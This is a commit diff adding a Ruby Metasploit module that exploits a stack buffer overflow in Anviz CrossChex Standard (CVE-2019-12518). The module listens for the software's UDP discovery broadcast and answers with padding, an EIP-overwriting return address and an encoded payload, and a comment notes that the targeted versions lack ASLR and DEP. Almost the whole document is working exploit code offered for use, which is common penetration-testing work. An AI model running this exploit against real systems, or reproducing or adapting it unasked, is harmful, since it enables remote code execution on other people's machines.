Add crosschex buffer overflow exploit

modules/exploits/windows/misc/crosschex_device_bof.rb

@@ -0,0 +1,77 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = NormalRanking
+  PACKET_LEN = 10
+
+  include Msf::Exploit::Remote::Udp
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'Anviz CrossChex Buffer Overflow',
+      'Description'	=> %q{
+        Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,
+        triggering a stack buffer overflow.
+      },
+      'Author'	  	=>
+        [
+            'Luis Catarino <lcatarino@protonmail.com>',  # original discovery/exploit
+            'Pedro Rodrigues <pedrosousarodrigues@protonmail.com>',   # original discovery/exploit
+            'agalway-r7',  # Module creation
+            'adfoster-r7' # Module creation
+        ],
+      'License'		  => MSF_LICENSE,
+      'References'	=>
+        [
+            ['CVE', '2019-12518'],
+            ['URL', 'https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html'],
+            ['EDB', '47734']
+        ],
+      'DefaultOptions' =>
+        {
+            'TIMEOUT' => 100,
+            'EncoderType' => Msf::Encoder::Type::Raw,
+            'CHOST' => "0.0.0.0",
+            'CPORT' => 5050
+        },
+      'Payload'        =>
+        {
+            'Space'    => 8947,
+        },
+      'Arch' => ARCH_X86,
+      'Privileged'	=> true,
+      'Platform' => 'win',
+      'DisclosureDate' => '2019-11-28',
+      'Targets'        =>
+          [
+            [
+              'Crosschex Standard x86 <= V4.3.12',
+              {}
+            ]
+          ],
+      'DefaultTarget'  => 0
+      ))
+    deregister_udp_options
+  end
+
+  def exploit
+    connect_udp
+
+    res, host, port = udp_sock.recvfrom(PACKET_LEN, datastore["TIMEOUT"])
+    unless res
+      fail_with(Failure::TimeoutExpired, "Module timed out waiting for CrossChex broadcast")
+    end
+
+    print_status "CrossChex broadcast received, sending payload in response"
+    sploit = rand_text_english(261)
+    sploit << "\x07\x18\x42\x00" # Overwrites EIP to point to payload // Vulnerable CrossChex versions don't use ASLR or DEP
+    sploit << rand_text_english(4)
+    sploit << payload.encoded
+
+    udp_sock.sendto(sploit, host, port)
+    print_status "Payload sent"
+  end
+end